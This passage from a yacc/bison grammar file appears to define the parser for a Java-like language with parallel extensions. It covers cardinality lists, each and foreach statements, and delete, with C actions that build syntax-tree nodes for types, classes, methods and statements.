/* empty */
{ $$ = make_origin(); }
;
LabelName:
Identifier
{ $$ = $1; }
;
CardinalityList:
/* empty */
{ $$ = new_Cardinality_list(); }
|
Cardinality
{ $$ = append_Cardinality_list( new_Cardinality_list(), $1 ); }
|
CardinalityList ',' Cardinality
{ $$ = append_Cardinality_list( $1, $3 ); }
|
error ',' Cardinality
{ $$ = append_Cardinality_list( new_Cardinality_list(), $3 ); }
;
CardinalityLowerbound:
/* empty */
{ $$ = expressionNIL; }
|
Expression
{ $$ = $1; }
;
Cardinality:
SimpleName OP_ITERATES CardinalityLowerbound ':' Expression
{ $$ = new_Cardinality( $1, new_Pragma_list(), $3, $5, expressionNIL ); }
|
SimpleName OP_ITERATES CardinalityLowerbound ':' Expression ':' Expression
{ $$ = new_Cardinality( $1, new_Pragma_list(), $3, $5, $7 ); }
|
'(' Cardinality ')'
{ $$ = $2; }
|
'(' error ')'
{ $$ = CardinalityNIL; }
;
Vectors:
VectorExpr PragmasOpt
{
$$ = append_ActualDim_list(
new_ActualDim_list(),
new_ActualDim( $1, $2 )
);
}
|
Vectors VectorExpr PragmasOpt
{ $$ = append_ActualDim_list( $1, new_ActualDim( $2, $3 ) ); }
;
VectorExpr:
Vector
{ $$ = new_VectorExpression( $1 ); }
/*
|
'@' MacroExpression
{ $$ = $2; }
*/
|
'@' '(' Expression ')'
{ $$ = $3; }
|
'@' Vector
{ $$ = new_VectorExpression( $2 ); }
|
'@' SimpleName
{ $$ = new_VariableNameExpression( $2, 0 ); }
;
Vector:
'[' ExpressionList ']'
{ $$ = $2; }
;
IdentifierOpt:
/* empty */
{ $$ = 0; }
|
Identifier
{ $$ = $1; }
;
Identifier:
IDENTIFIER
{ $$ = make_origsymbol( $1 ); }
;
/* --- below this everything is after the java book in both order and
* --- rules.
*/
/* Lexical Structure */
IntegerLiteral:
INT_LITERAL
{ $$ = new_IntExpression( $1 ); }
|
LONG_LITERAL
{ $$ = new_LongExpression( $1 ); }
;
FloatingPointLiteral:
FLOAT_LITERAL
{ $$ = new_FloatExpression( $1 ); }
|
KEY_FLOATBITS INT_LITERAL
{ $$ = new_FloatExpression( intbits_to_vnus_float( $2 ) ); }
|
DOUBLE_LITERAL
{ $$ = new_DoubleExpression( $1 ); }
|
KEY_DOUBLEBITS LONG_LITERAL
{ $$ = new_DoubleExpression( longbits_to_vnus_double( $2 ) ); }
|
IMAGINARY_LITERAL
{
$$ = new_ComplexExpression(
new_DoubleExpression( 0.0 ),
new_DoubleExpression( $1 )
);
}
;
BooleanLiteral:
KEY_TRUE
{ $$ = new_BooleanExpression( TRUE ); }
|
KEY_FALSE
{ $$ = new_BooleanExpression( FALSE ); }
;
Literal:
IntegerLiteral
{ $$ = $1; }
|
FloatingPointLiteral
{ $$ = $1; }
|
BooleanLiteral
{ $$ = $1; }
|
CHAR_LITERAL
{ $$ = new_CharExpression( $1 ); }
|
STRING_LITERAL
{ $$ = new_StringExpression( $1 ); }
|
KEY_NULL
{ $$ = new_NullExpression(); }
|
KEY_SIZEOF '(' Type ')'
{ $$ = new_SizeofExpression( $3 ); }
;
/* Types, Values, and Variables */
Type:
PrimitiveType PragmasOpt
{ $$ = wrap_pragmas_type( new_PrimitiveType( $1 ), $2 ); }
|
TupleType PragmasOpt
{ $$ = wrap_pragmas_type( $1, $2 ); }
|
ReferenceType
{ $$ = $1; }
;
VerboseType:
PrimitiveType PragmasOpt
{ $$ = wrap_pragmas_type( new_PrimitiveType( $1 ), $2 ); }
|
TupleType PragmasOpt
{ $$ = wrap_pragmas_type( $1, $2 ); }
|
KEY_TYPE Type
{ $$ = $2; }
;
PrimitiveType:
KEY_STRING
{ $$ = BT_STRING; }
|
KEY_BOOLEAN
{ $$ = BT_BOOLEAN; }
|
KEY_INT
{ $$ = BT_INT; }
|
KEY_LONG
{ $$ = BT_LONG; }
|
KEY_SHORT
{ $$ = BT_SHORT; }
|
KEY_BYTE
{ $$ = BT_BYTE; }
|
KEY_CHAR
{ $$ = BT_CHAR; }
|
KEY_DOUBLE
{ $$ = BT_DOUBLE; }
|
KEY_FLOAT
{ $$ = BT_FLOAT; }
|
KEY_COMPLEX
{ $$ = BT_COMPLEX; }
;
TupleType:
'[' VerboseType OP_XOR Expression ']'
{ $$ = new_VectorType( $2, $4 ); }
|
'[' VerboseTypeList ']'
{ $$ = new_TupleType( $2 ); }
;
ReferenceType:
ClassOrInterfaceType PragmasOpt
{ $$ = wrap_pragmas_type( $1, $2 ); }
|
ArrayType
{ $$ = $1; }
|
PrimArrayType
{ $$ = $1; }
;
GenericClassOrInterfaceType:
Name OP_GENERIC_OPEN TemplateArgumentListOpt OP_GENERIC_CLOSE
{ $$ = new_GenericObjectType( $1, $3 ); }
;
ClassOrInterfaceType:
Name
{ $$ = new_ObjectType( $1 ); }
|
GenericClassOrInterfaceType
{ $$ = $1; }
;
ClassType:
ClassOrInterfaceType
{ $$ = $1; }
;
InterfaceType:
ClassOrInterfaceType
{ $$ = $1; }
;
PrimArrayType:
KEY_ARRAY '(' Type ')'
{ $$ = new_PrimArrayType( $3 ); }
;
ArrayType:
PrimitiveType Dim
{ $$ = unwrap_array_FormalDim( new_PrimitiveType( $1 ), $2 ); }
|
TupleType Dim
{ $$ = unwrap_array_FormalDim( $1, $2 ); }
|
PrimArrayType Dim
{ $$ = unwrap_array_FormalDim( $1, $2 ); }
|
Name Dim
{ $$ = unwrap_array_FormalDim( new_ObjectType( $1 ), $2 ); }
|
ArrayType Dim
{ $$ = unwrap_array_FormalDim( $1, $2 ); }
;
VerboseTypeList:
VerboseType
{ $$ = append_type_list( new_type_list(), $1 ); }
|
VerboseTypeList ',' VerboseType
{ $$ = append_type_list( $$, $3 ); }
|
error ',' VerboseType
{ $$ = append_type_list( new_type_list(), $3 ); }
;
/* Names */
Name:
SimpleName
{ $$ = $1; }
|
QualifiedName
{ $$ = $1; }
;
ClassAsName:
KEY_CLASS Origin
{ $$ = new_origsymbol( add_tmsymbol( "class" ), $2 ); }
;
SimpleName:
Identifier
{ $$ = $1; }
;
QualifiedName:
Name '.' IDENTIFIER
{ $$ = qualify_name( $1, $3 ); }
|
Name '.' ClassAsName
{ $$ = qualify_name( $1, $3->sym ); rfre_origsymbol( $3 ); }
;
/* Packages */
CompilationUnit:
GlobalPragmasOpt PackageDeclarationOpt ImportDeclarationsOpt TypeDeclarationsOpt
{
origsymbol_list directs;
origsymbol_list ondemands;
separate_imports( $3, &directs, &ondemands );
rfre_Import_list( $3 );
result = new_SparProgramUnit(
$2,
$1,
new_tmsymbol_list(),
directs,
ondemands,
$4,
new_TypeBinding_list(),
tmstringNIL
);
}
;
ImportDeclarationsOpt:
/* empty */
{ $$ = new_Import_list(); }
|
ImportDeclarations
{ $$ = $1; }
;
ImportDeclarations:
ImportDeclaration
{ $$ = append_Import_list( new_Import_list(), $1 ); }
|
ImportDeclarations ImportDeclaration
{ $$ = append_Import_list( $1, $2 ); }
;
TypeDeclarationsOpt:
/* empty */
{ $$ = new_statement_list(); }
|
TypeDeclarations
{ $$ = $1; }
;
TypeDeclarations:
TypeDeclaration
{
$$ = new_statement_list();
if( $1 != declarationNIL ){
$$ = append_statement_list( $$, $1 );
}
}
|
TypeDeclarations TypeDeclaration
{
$$ = $1;
if( $2 != declarationNIL ){
$$ = append_statement_list( $$, $2 );
}
}
;
PackageDeclarationOpt:
Origin
{ $$ = new_origsymbol( add_tmsymbol( "" ), $1 ); }
|
PackageDeclaration
{ $$ = $1; }
;
PackageDeclaration:
KEY_PACKAGE Name ';'
{ $$ = $2; }
|
KEY_PACKAGE error ';'
{ $$ = origsymbolNIL; }
;
ImportDeclaration:
SingleTypeImportDeclaration
{ $$ = $1; }
|
TypeImportOnDemandDeclaration
{ $$ = $1; }
;
SingleTypeImportDeclaration:
KEY_IMPORT Name ';'
{ $$ = new_DirectImport( $2 ); }
|
KEY_IMPORT error ';'
{ $$ = ImportNIL; }
;
TypeImportOnDemandDeclaration:
KEY_IMPORT Name '.' OP_TIMES ';'
{ $$ = new_OnDemandImport( $2 ); }
;
TypeDeclaration:
ClassDeclaration
{ $$ = $1; }
|
InterfaceDeclaration
{ $$ = $1; }
|
';'
{ $$ = declarationNIL; }
;
ModifiersOpt:
/* empty */
{ $$ = 0; }
|
Modifiers
{ $$ = check_access_modifiers( originNIL, $1 ); }
;
Modifiers:
Modifier
{ $$ = $1; }
|
Modifiers Modifier
{
if( $1 & $2 ){
parserror( "duplicate modifier" );
}
$$ = $1 | $2;
}
;
Modifier:
KEY_INLINE
{ $$ = ACC_INLINE; }
|
KEY_PUBLIC
{ $$ = ACC_PUBLIC; }
|
KEY_PROTECTED
{ $$ = ACC_PROTECTED; }
|
KEY_PRIVATE
{ $$ = ACC_PRIVATE; }
|
KEY_STATIC
{ $$ = ACC_STATIC; }
|
KEY_ABSTRACT
{ $$ = ACC_ABSTRACT; }
|
KEY_FINAL
{ $$ = ACC_FINAL; }
|
KEY_NATIVE
{ $$ = ACC_NATIVE; }
|
KEY_SYNCHRONIZED
{ $$ = ACC_SYNCHRONIZED; }
|
KEY_STRICTFP
{ $$ = ACC_STRICTFP; }
|
KEY_TRANSIENT
{ $$ = ACC_TRANSIENT; }
|
KEY_VOLATILE
{ $$ = ACC_VOLATILE; }
;
/* Classes */
/* Class Declaration */
ClassModifiersOpt:
ModifiersOpt
{
if( $1 & ~MODS_CLASS ){
origin org = make_origin();
complain_modifiers( org, $1 & ~MODS_CLASS, "class" );
$1 &= MODS_CLASS;
rfre_origin( org );
}
if( has_flags( $1, ACC_ABSTRACT|ACC_FINAL ) ){
parserror( "A class cannot be both abstract and final" );
}
push_class_modifiers( $1 );
$$ = $1;
}
;
TypeParameters:
OP_GENERIC_OPEN TemplateFormalParameterListOpt OP_GENERIC_CLOSE
{ $$ = $2; }
;
TypeParametersOpt:
/* empty */
{ $$ = new_FormalParameter_list(); }
|
TypeParameters
{ $$ = $1; }
;
ClassDeclaration:
PragmasOpt ClassModifiersOpt KEY_CLASS Origin Identifier TypeParametersOpt SuperOpt InterfacesOpt ClassBody
{
type super = $7;
if( super == typeNIL ){
const tmsymbol obj = add_tmsymbol( "java.lang.Object" );
if( $5->sym != obj ){
super = new_ObjectType( new_origsymbol( obj, gen_origin() ) );
}
}
$$ = new_ClassDeclaration(
$4, // origin
$1,
NULL, // Labels
$2, // modifiers
false, // Used?
$5, // name
$6, // formals
$8, // interfaces
$9, // body
tmsymbolNIL, // name of dynamic init fn.
tmsymbolNIL, // name of static init fn.
tmsymbolNIL, // name of static init 'done' var.
false, // Trivial local init block?
HiddenParameter_listNIL, // Hidden parms to constructors.
super // super
);
pop_class_modifiers();
}
;
SuperOpt:
/* empty */
{ $$ = typeNIL; }
|
Super
{ $$ = $1; }
;
Super:
KEY_EXTENDS ClassType
{ $$ = $2; }
;
InterfacesOpt:
/* empty */
{ $$ = new_type_list(); }
|
Interfaces
{ $$ = $1; }
;
Interfaces:
KEY_IMPLEMENTS InterfaceTypeList
{ $$ = $2; }
;
InterfaceTypeList:
InterfaceType
{ $$ = append_type_list( new_type_list(), $1 ); }
|
InterfaceTypeList ',' InterfaceType
{ $$ = append_type_list( $1, $3 ); }
;
ClassBodyOpt:
/* empty */
{ $$ = statement_listNIL; }
|
ClassBody
{ $$ = $1; }
;
ClassBody:
'{' ClassBodyDeclarationsOpt '}'
{ $$ = $2; }
|
'{' error '}'
{ $$ = new_statement_list(); }
;
ClassBodyDeclarationsOpt:
/* Empty */
{ $$ = new_statement_list(); }
|
ClassBodyDeclarations
{ $$ = $1; }
;
ClassBodyDeclarations:
ClassBodyDeclaration
{ $$ = $1; }
|
ClassBodyDeclarations ClassBodyDeclaration
{ $$ = concat_statement_list( $1, $2 ); }
|
error ';' ClassBodyDeclaration
{ $$ = $3; }
;
ClassBodyDeclaration:
ClassMemberDeclaration
{ $$ = $1; }
|
PragmasOpt StaticInitializer
{ $$ = append_statement_list( new_statement_list(), add_statement_pragmas( $2, $1 ) ); }
|
PragmasOpt ConstructorDeclaration
{ $$ = append_statement_list( new_statement_list(), add_statement_pragmas( $2, $1 ) ); }
|
PragmasOpt Origin Block
{
$$ = append_statement_list(
new_statement_list(),
new_InstanceInitializer( $2, $1, NULL, $3 )
);
}
|
';'
{
if( warn_semicolon ){
parsewarning( "This semicolon is only tolerated for backward compatibility" );
}
$$ = new_statement_list();
}
;
ClassMemberDeclaration:
FieldDeclaration
{ $$ = $1; }
|
MethodDeclaration
{ $$ = append_statement_list( new_statement_list(), $1 ); }
|
ClassDeclaration
{ $$ = append_statement_list( new_statement_list(), $1 ); }
|
InterfaceDeclaration
{ $$ = append_statement_list( new_statement_list(), $1 ); }
;
/* Field Declarations */
FieldDeclaration:
PragmasOpt ModifiersOpt Type VariableDeclarators ';'
{
if( ($2 & (ACC_FINAL|ACC_VOLATILE)) == (ACC_FINAL|ACC_VOLATILE) ){
parserror( "a final field cannot be volatile" );
$2 &= ~ACC_VOLATILE;
}
if( $2 & ~MODS_FIELD ){
origin org = make_origin();
complain_modifiers( org, $2 & ~MODS_FIELD, "field" );
$2 &= MODS_FIELD;
rfre_origin( org );
}
$$ = unwrap_variableDeclarators( $2, $3, $4 );
rfre_type( $3 );
rfre_varid_list( $4 );
$$ = add_statement_list_pragmas( $$, $1 );
}
;
VariableDeclarators:
VariableDeclarator
{ $$ = append_varid_list( new_varid_list(), $1 ); }
|
VariableDeclarators ',' VariableDeclarator
{ $$ = append_varid_list( $1, $3 ); }
;
VariableDeclarator:
VariableDeclaratorId
{ $$ = $1; }
|
VariableDeclaratorId OP_ASSIGNMENT VariableInitializer
{
$$ = $1;
$$->init = new_OptExpr( $3 );
}
;
VariableDeclaratorId:
Identifier
{ $$ = new_varid( $1, new_FormalDim_list(), 0 ); }
|
VariableDeclaratorId Dim
{
$$ = $1;
$$->wrap = append_FormalDim_list( $$->wrap, $2 );
}
;
VariableInitializer:
Expression
{ $$ = $1; }
|
ArrayInitializer
{ $$ = $1; }
;
/* Method Declarations */
MethodDeclaration:
PragmasOpt MethodHeader MethodBody
{
$$ = unwrap_method_declaration( $2, $3 );
$$ = add_declaration_pragmas( $$, $1 );
}
;
MethodHeader:
ModifiersOpt Type MethodDeclarator ThrowsOpt
{
$$ = $3;
$$->modifiers = check_method_modifiers( $1 );
$$->t = $2;
$$->throws = $4;
}
|
ModifiersOpt KEY_VOID MethodDeclarator ThrowsOpt
{
$$ = $3;
$$->modifiers = check_method_modifiers( $1 );
$$->t = new_VoidType();
$$->throws = $4;
}
;
MethodDeclarator:
Identifier '(' FormalParameterListOpt ')'
{
$$ = new_MethodHeader(
0,
0,
new_FormalDim_list(),
$1,
$3,
0
);
}
|
MethodDeclarator Dim
{ $$ = $1; $$->wrap = append_FormalDim_list( $$->wrap, $2 ); }
;
FormalParameterListOpt:
/* empty */
{ $$ = new_FormalParameter_list(); }
|
FormalParameterList
{ $$ = $1; }
;
FormalParameterList:
FormalParameter
{ $$ = append_FormalParameter_list( new_FormalParameter_list(), $1 ); }
|
FormalParameterList ',' FormalParameter
{ $$ = append_FormalParameter_list( $1, $3 ); }
|
error ',' FormalParameter
{ $$ = append_FormalParameter_list( new_FormalParameter_list(), $3 ); }
;
FormalParameter:
PragmasOpt ModifiersOpt Type VariableDeclaratorId
{
type t;
origsymbol s;
optexpression init;
unwrap_varid( $3, $4, &t, &s, &init );
assert( init == optexpressionNIL );
$$ = new_FormalParameter( s, $1, $2, t );
}
;
TemplateFormalParameterListOpt:
/* empty */
{ $$ = new_FormalParameter_list(); }
|
TemplateFormalParameterList
{ $$ = $1; }
;
TemplateFormalParameterList:
TemplateFormalParameter
{ $$ = append_FormalParameter_list( new_FormalParameter_list(), $1 ); }
|
TemplateFormalParameterList ',' TemplateFormalParameter
{ $$ = append_FormalParameter_list( $1, $3 ); }
|
error ',' TemplateFormalParameter
{ $$ = append_FormalParameter_list( new_FormalParameter_list(), $3 ); }
;
TemplateFormalParameter:
FormalParameter
{ $$ = $1; }
|
PragmasOpt ModifiersOpt KEY_TYPE Identifier
{ $$ = new_FormalParameter( $4, $1, $2, new_TypeType() ); }
;
ThrowsOpt:
/* empty */
{ $$ = new_type_list(); }
|
Throws
{ $$ = $1; }
;
Throws:
KEY_THROWS ClassTypeList
{ $$ = $2; }
;
ClassTypeList:
ClassType
{ $$ = append_type_list( new_type_list(), $1 ); }
|
ClassTypeList ',' ClassType
{ $$ = append_type_list( $1, $3 ); }
;
MethodBody:
Block
{ $$ = $1; }
|
';'
{ $$ = 0; }
;
/* Static Initializers */
StaticInitializer:
KEY_STATIC Origin Block
{
$$ = new_StaticInitializer( $2, Pragma_listNIL, NULL, $3 );
}
;
/* Constructor Declarations */
ConstructorDeclaration:
ModifiersOpt ConstructorDeclarator ThrowsOpt ConstructorBody
{
if( ($1 & (ACC_PUBLIC|ACC_PRIVATE)) == (ACC_PUBLIC|ACC_PRIVATE) ){
parserror( "Constructors cannot be both public and private" );
}
if( $1 & ~MODS_CONSTRUCTOR ){
complain_modifiers( $2->name->org, $1 & ~MODS_CONSTRUCTOR, "constructor" );
$1 &= MODS_CONSTRUCTOR;
}
$2->modifiers = $1;
$2->throws = $3;
$$ = unwrap_constructor_declaration( $2, $4 );
}
;
ConstructorDeclarator:
SimpleName '(' FormalParameterListOpt ')'
{ $$ = new_MethodHeader( 0, 0, 0, $1, $3, 0 ); }
;
ConstructorBody:
'{' ConstructorStatementsOpt '}'
{ $$ = new_Block( tmsymbolNIL, Pragma_listNIL, $2 ); }
|
'{' error '}'
{ $$ = new_Block( tmsymbolNIL, Pragma_listNIL, new_statement_list() ); }
;
ConstructorStatementsOpt:
ExplicitConstructorInvocation BlockStatementsOpt
{ $$ = insert_statement_list( $2, 0, $1 ); }
|
/* Per JLS 8.6.5: 'If a constructor body does not begin with an */
/* explicit constructor invocation and the constructor being declared */
/* is not part of the primordial class Object, then the constructor */
/* body is implicitly assumed by the compiler to begin with a */
/* superclass constructor invocation 'super()'. */
BlockStatementsOpt
{ $$ = insert_statement_list( $1, 0, build_default_super() ); }
;
ExplicitConstructorInvocation:
PragmasOpt KEY_THIS Origin '(' ArgumentListOpt ')' ';'
{ $$ = new_ThisConstructorInvocationStatement( $3, $1, NULL, $5 ); }
|
PragmasOpt KEY_SUPER Origin '(' ArgumentListOpt ')' ';'
{ $$ = new_SuperConstructorInvocationStatement( $3, $1, NULL, $5 ); }
|
PragmasOpt Primary '.' KEY_SUPER Origin '(' ArgumentListOpt ')' ';'
{ $$ = new_OuterSuperConstructorInvocationStatement( $5, $1, NULL, $2, $7 ); }
|
PragmasOpt Name '.' KEY_SUPER Origin '(' ArgumentListOpt ')' ';'
{ $$ = new_OuterSuperConstructorInvocationStatement( $5, $1, NULL, new_VariableNameExpression( $2, 0 ), $7 ); }
;
/* Interfaces */
/* Interface Declarations */
InterfaceModifiersOpt:
ModifiersOpt
{
if( $1 & ~MODS_INTERFACE ){
origin org = make_origin();
complain_modifiers( org, $1 & ~MODS_INTERFACE, "interface" );
$1 &= MODS_INTERFACE;
rfre_origin( org );
}
$$ = $1;
push_class_modifiers( $1 );
}
;
InterfaceDeclaration:
PragmasOpt InterfaceModifiersOpt KEY_INTERFACE Origin Identifier TypeParametersOpt ExtendsInterfacesOpt InterfaceBody
{
$8 = enforce_interface_flags( $8 );
$$ = new_InterfaceDeclaration(
$4, // origin
$1,
NULL, // Labels
$2|ACC_ABSTRACT, // modifiers
TMFALSE,
$5, // name
$6, // type parameters
$7, // supers
$8, // body
tmsymbolNIL, // name of dynamic init fn.
tmsymbolNIL, // name of static init fn.
tmsymbolNIL, // name of static init 'done' flag.
TMFALSE // Trivial local init?
);
pop_class_modifiers();
}
;
ExtendsInterfacesOpt:
/* empty */
{ $$ = new_type_list(); }
|
ExtendsInterfaces
{ $$ = $1; }
;
ExtendsInterfaces:
KEY_EXTENDS InterfaceType
{ $$ = append_type_list( new_type_list(), $2 ); }
|
ExtendsInterfaces ',' InterfaceType
{ $$ = append_type_list( $1, $3 ); }
;
InterfaceBody:
'{' InterfaceMemberDeclarations '}'
{ $$ = $2; }
|
'{' error '}'
{ $$ = new_statement_list(); }
;
InterfaceMemberDeclarations:
/* empty */
{ $$ = new_statement_list(); }
|
InterfaceMemberDeclarations InterfaceMemberDeclaration
{ $$ = concat_statement_list( $1, $2 ); }
;
InterfaceMemberDeclaration:
ConstantDeclaration
{ $$ = $1; }
|
AbstractMethodDeclaration
{
if( $1->flags & ~MODS_INTERFACE_METHOD ){
complain_modifiers( $1->org, $1->flags & ~MODS_INTERFACE_METHOD, "interface method" );
$1->flags &= MODS_INTERFACE_METHOD;
}
$$ = append_statement_list( new_statement_list(), $1 );
}
|
ClassDeclaration
{ $$ = append_statement_list( new_statement_list(), $1 ); }
|
InterfaceDeclaration
{ $$ = append_statement_list( new_statement_list(), $1 ); }
|
';'
{
if( warn_semicolon ){
parsewarning( "This semicolon is only tolerated for backward compatibility" );
}
$$ = new_statement_list();
}
;
ConstantDeclaration:
FieldDeclaration
{
$$ = enforce_constant_restrictions( $1 );
}
;
AbstractMethodDeclaration:
PragmasOpt MethodHeader ';'
{
$$ = unwrap_abstract_declaration( $2 );
$$ = add_declaration_pragmas( $$, $1 );
}
;
/* Arrays */
ArrayInitializer:
'{' VariableInitializers CommaOpt '}'
{ $$ = new_ArrayInitExpression( typeNIL, $2 ); }
|
'{' error '}'
{ $$ = new_ArrayInitExpression( typeNIL, new_expression_list() ); }
;
VariableInitializers:
/* empty */
{ $$ = new_expression_list(); }
|
VariableInitializer
{ $$ = append_expression_list( new_expression_list(), $1 ); }
|
VariableInitializers ',' VariableInitializer
{ $$ = append_expression_list( $1, $3 ); }
;
/* Blocks and Statements */
Block:
'{' BlockStatementsOpt '}'
{ $$ = new_Block( tmsymbolNIL, Pragma_listNIL, $2 ); }
|
'{' error '}'
{ $$ = new_Block( tmsymbolNIL, Pragma_listNIL, new_statement_list() ); }
;
BlockStatementsOpt:
/* empty */
{ $$ = new_statement_list(); }
|
BlockStatements
{ $$ = $1; }
;
BlockStatements:
BlockStatement
{ $$ = $1; }
|
BlockStatements BlockStatement
{ $$ = concat_statement_list( $1, $2 ); }
|
error ';' BlockStatement
{ $$ = $3; }
;
BlockStatement:
LocalVariableDeclarationStatement
{ $$ = $1; }
|
Statement
{ $$ = append_statement_list( new_statement_list(), $1 ); }
|
ClassDeclaration
{
if( has_any_flag( $1->flags, ACC_PUBLIC ) ){
parserror( "A local class cannot be declared 'public'" );
}
$$ = append_statement_list( new_statement_list(), $1 );
}
;
LocalVariableDeclarationStatement:
PragmasOpt LocalVariableDeclaration ';'
{ $$ = add_statement_list_pragmas( $2, $1 ); }
;
LocalVariableDeclaration:
Type VariableDeclarators
{
$$ = unwrap_variableDeclarators( 0, $1, $2 );
rfre_type( $1 );
rfre_varid_list( $2 );
}
|
KEY_FINAL Type VariableDeclarators
{
$$ = unwrap_variableDeclarators( ACC_FINAL, $2, $3 );
rfre_type( $2 );
rfre_varid_list( $3 );
}
;
Statement:
PragmasOpt LabelName ':' Statement
{
$$ = add_statement_label( $4, $2 );
$$ = add_statement_pragmas( $$, $1 );
}
|
PragmasOpt UnlabeledStatement
{ $$ = add_statement_pragmas( $2, $1 ); }
;
UnlabeledStatement:
Imperative
{ $$ = $1; }
|
Control
{ $$ = $1; }
|
Parallelization
{ $$ = $1; }
|
MemoryManagement
{ $$ = $1; }
|
Support
{ $$ = $1; }
;
/* Imperative */
Imperative:
ExpressionStatement
{ $$ = $1; }
;
/* Support */
Support:
EmptyStatement
{ $$ = $1; }
|
Print
{ $$ = $1; }
|
PrintLn
{ $$ = $1; }
;
Print:
KEY_PRINT Origin '(' ArgumentList ')' ';'
{ $$ = new_PrintStatement( $2, Pragma_listNIL, NULL, $4 ); }
;
PrintLn:
KEY_PRINTLN Origin '(' ArgumentList ')' ';'
{ $$ = new_PrintLineStatement( $2, Pragma_listNIL, NULL, $4 ); }
;
/* Control */
Control:
WhileStatement
{ $$ = $1; }
|
ForStatement
{ $$ = $1; }
|
DoStatement
{ $$ = $1; }
|
CardForStatement
{ $$ = $1; }
|
IfStatement
{ $$ = $1; }
|
WaitStatement
{ $$ = $1; }
|
SwitchStatement
{ $$ = $1; }
|
ReturnStatement
{ $$ = $1; }
|
ValueReturnStatement
{ $$ = $1; }
|
StatementBlock
{ $$ = $1; }
|
BreakStatement
{ $$ = $1; }
|
ContinueStatement
{ $$ = $1; }
|
SynchronizedStatement
{ $$ = $1; }
|
ThrowStatement
{ $$ = $1; }
|
TryStatement
{ $$ = $1; }
;
CardForStatement:
KEY_FOR Origin Cardinalities Statement
{
$$ = new_ForStatement(
$2,
NULL, // Pragmas
NULL, // Labels
TMFALSE,
$3,
make_statement_Block( $4 )
);
}
|
KEY_INLINE KEY_FOR Origin Cardinalities Statement
{
$$ = new_ForStatement(
$3,
NULL, // Pragmas
NULL, // Labels
TMTRUE,
$4,
make_statement_Block( $5 )
);
}
;
/*
GotoStatement:
KEY_GOTO Origin LabelName ';'
{ $$ = new_GotoStatement( $2, Pragma_listNIL, NULL, $3 ); }
;
*/
StatementBlock:
Origin Block
{ $$ = new_BlockStatement( $1, Pragma_listNIL, NULL, $2 ); }
;
BreakStatement:
KEY_BREAK Origin IdentifierOpt ';'
{ $$ = new_BreakStatement( $2, NULL, NULL, $3 ); }
;
ContinueStatement:
KEY_CONTINUE Origin IdentifierOpt ';'
{ $$ = new_ContinueStatement( $2, NULL, NULL, $3 ); }
;
ThrowStatement:
KEY_THROW Origin Expression ';'
{ $$ = new_ThrowStatement( $2, NULL, NULL, $3 ); }
;
SynchronizedStatement:
KEY_SYNCHRONIZED Origin '(' Expression ')' Block
{ $$ = new_SynchronizedStatement( $2, NULL, NULL, $4, $6 ); }
;
TryStatement:
KEY_TRY Origin Block Catches
{ $$ = new_TryStatement( $2, NULL, NULL, $3, $4, BlockNIL ); }
|
KEY_TRY Origin Block CatchesOpt Finally
{ $$ = new_TryStatement( $2, NULL, NULL, $3, $4, $5 ); }
;
CatchesOpt:
/* empty */
{ $$ = new_Catch_list(); }
|
Catches
{ $$ = $1; }
;
Catches:
CatchClause
{ $$ = append_Catch_list( new_Catch_list(), $1 ); }
|
Catches CatchClause
{ $$ = append_Catch_list( $1, $2 ); }
;
CatchClause:
KEY_CATCH Origin '(' FormalParameter ')' Block
{ $$ = new_Catch( $2, $4, $6 ); }
;
Finally:
KEY_FINALLY Block
{ $$ = $2; }
;
/* Parallelization */
Parallelization:
EachStatement
{ $$ = $1; }
|
ForeachStatement
{ $$ = $1; }
;
EachStatement:
KEY_EACH Origin '{' BlockStatementsOpt '}'
{ $$ = new_EachStatement( $2, Pragma_listNIL, NULL, $4 ); }
;
ForeachStatement:
KEY_FOREACH Origin Cardinalities Statement
{ $$ = new_ForeachStatement( $2, Pragma_listNIL, NULL, $3, make_statement_Block( $4 ) ); }
;
Cardinalities:
'(' CardinalityList CommaOpt ')'
{
if( (features & FEAT_CARDS) == 0 ){
parserror( "Cardinality lists are not allowed in Java" );
}
$$ = $2;
}
|
error ')'
{ $$ = new_Cardinality_list(); }
|
'[' CardinalityList CommaOpt ']'
{
if( (features & FEAT_CARDS) == 0 ){
parserror( "Cardinality lists are not allowed in Java" );
}
$$ = $2;
}
|
error ']'
{ $$ = new_Cardinality_list(); }
;
/* Memory management */
MemoryManagement:
Delete
{ $$ = $1; }
;
Delete:
KEY_DELETE Origin Expression ';'
{ $$ = new_DeleteStatement( $2, Pragma_listNIL, NULL, $3 ); }
;
EmptyStatement:
Origin ';'
{ $$ = new_EmptyStatement( $1, Pragma_listNIL, NULL ); }
;
ExpressionStatement:
StatementExpression Origin ';'
{
$$ = $1;
if( $$ != 0 && $$->org == 0 ){
$$->org = $2;
}
else {
rfre_origin( $2 );
}
}
;
StatementExpression:
Assignment Origin
{
$$ = transmog_AssignmentExpression( to_AssignOpExpression( $1 ), $2 );
rfre_origin( $2 );
}
|
PreIncrementExpression
{ $$ = transmog_PreIncrementExpression( to_PreIncrementExpression( $1 ) ); }
|
PreDecrementExpression
{ $$ = transmog_PreDecrementExpression( to_PreDecrementExpression( $1 ) ); }
|
PostIncrementExpression
{ $$ = transmog_PostIncrementExpression( to_PostIncrementExpression( $1 ) ); }
|
PostDecrementExpression
{ $$ = transmog_PostDecrementExpression( to_PostDecrementExpression( $1 ) ); }
|
MethodInvocation
{ $$ = transmog_invocation_expression( $1 ); }
|
ClassInstanceCreationExpression Origin
{ $$ = new_ExpressionStatement( $2, NULL, NULL, $1 ); }
;
IfStatement:
KEY_IF Origin '(' Expression ')' Statement KEY_ELSE Statement
{
Block then_block = make_statement_Block( $6 );
Block else_block = make_statement_Block( $8 );
$$ = new_IfStatement(
$2,
Pragma_listNIL,
NULL, // Labels
false, // eval both
$4,
then_block,
else_block
);
}
|
KEY_IF Origin '(' Expression ')' Statement
{
$$ = new_IfStatement(
$2,
Pragma_listNIL,
NULL, // Labels
false, // eval both
$4,
make_statement_Block( $6 ),
new_Block( tmsymbolNIL, Pragma_listNIL, new_statement_list() )
);
}
;
SwitchStatement:
KEY_SWITCH Origin '(' Expression ')' '{' SwitchCaseList '}'
{ $$ = new_SwitchStatement( $2, Pragma_listNIL, NULL, $4, $7 ); }
;
SwitchCaseList:
/* empty */
{ $$ = new_SwitchCase_list(); }
|
SwitchCaseList SwitchCase
{ $$ = append_SwitchCase_list( $1, $2 ); }
;
SwitchCase:
KEY_CASE ConstantExpression Origin ':' BlockStatementsOpt
{ $$ = new_SwitchCaseValue( $5, $3, $2 ); }
|
KEY_DEFAULT Origin ':' BlockStatementsOpt
{ $$ = new_SwitchCaseDefault( $4, $2 ); }
;
WaitStatement:
KEY_WAIT Origin '{' WaitCaseList '}'
